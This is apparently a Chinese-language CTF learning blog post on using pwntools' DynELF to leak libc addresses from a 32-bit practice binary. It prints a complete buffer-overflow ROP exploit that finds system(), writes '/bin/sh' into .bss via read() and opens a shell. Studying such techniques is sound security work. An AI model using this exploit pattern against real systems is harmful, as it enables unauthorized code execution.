pwn学习之DynELF的使用

本文是针对一步一步学rop之x86篇中的test2的一种memory leak(内存泄漏)的方法,是通过pwntools中DynELF模块来进行内存搜索。在ctf比赛中常常会遇到一种不提供libc.so的题目,都可以利用这样的方法在内存中寻找system()地址。

leak函数

#!python
def leak(address):
    payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
    p.send(payload1)
    data = p.recv(4)
    print "%#x => %s" % (address, (data or '').encode('hex'))
return data

随后将这个函数作为参数再调用d = DynELF(leak, elf=ELF(‘./test2’))就可以对DynELF模块进行初始化了。然后可以通过调用system_addr = d.lookup(‘system’, ‘libc’)来得到libc.so中system()在内存中的地址。

寻找地址

通过DynELF模块只能获取到system()在内存中的地址,但无法获取字符串“/bin/sh”在内存中的地址。所以我们在payload中需要调用read()将“/bin/sh”这字符串写入到程序的.bss段中。.bss段是用来保存全局变量的值的,地址固定,并且可以读可写。所以首先要找到bss段的地址通过readelf -S level2这个命令就可以获取到bss段的地址了。

因为我们在执行完read()之后要接着调用system(“/bin/sh”),并且read()这个函数的参数有三个,所以我们需要一个pop pop pop ret的gadget用来保证栈平衡。这个gadget非常好找,用objdump就可以轻松找到。

最后需要寻找的就是vulfun_add,直接用gdb反编译一下程序就可以了。

da$ disassemble vlun_fun 
Dump of assembler code for function vlun_fun:
   0x0804844d <+0>:    push   ebp
   0x0804844e <+1>:    mov    ebp,esp
   0x08048450 <+3>:    sub    esp,0x98
   0x08048456 <+9>:    mov    DWORD PTR [esp+0x8],0x100
   0x0804845e <+17>:    lea    eax,[ebp-0x88]
   0x08048464 <+23>:    mov    DWORD PTR [esp+0x4],eax
   0x08048468 <+27>:    mov    DWORD PTR [esp],0x0
   0x0804846f <+34>:    call   0x8048310 <read@plt>
   0x08048474 <+39>:    leave  
   0x08048475 <+40>:    ret    

和明显地址是0x0804844d

最终的exp

整个攻击过程如下:首先通过DynELF获取到system()的地址后,我们又通过read将“/bin/sh”写入到.bss段上,最后再调用system(.bss),执行“/bin/sh”。最终的exp如下:

#!python
#!/usr/bin/env python
from pwn import *
elf = ELF('./test2')
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']
vulfun_addr = 0x0804844d

def leak(address):
    payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
    p.send(payload1)
    data = p.recv(4)
    print "%#x => %s" % (address, (data or '').encode('hex'))
    return data
p = process('./test2')
gdb.attach(p,"b *0x804850d")
#p = remote('127.0.0.1', 10002)
d = DynELF(leak, elf=ELF('./test2'))
system_addr = d.lookup('system', 'libc')
print "system_addr=" + hex(system_addr)
bss_addr = 0x0804a024
pppr = 0x804850d
payload2 = 'a'*140  + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8) 
payload2 += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)
payload2 += 'C' * (256 - len(payload2))
#ss = raw_input()
print "\n###sending payload2 ...###"
p.send(payload2)
p.send("/bin/sh\0")
p.interactive()

这个exp在32kali上可以获得权限,在我的64位Ubuntu上无法获得权限,不知道为什么,纠结。。。。。。

有钱的捧个钱场
0%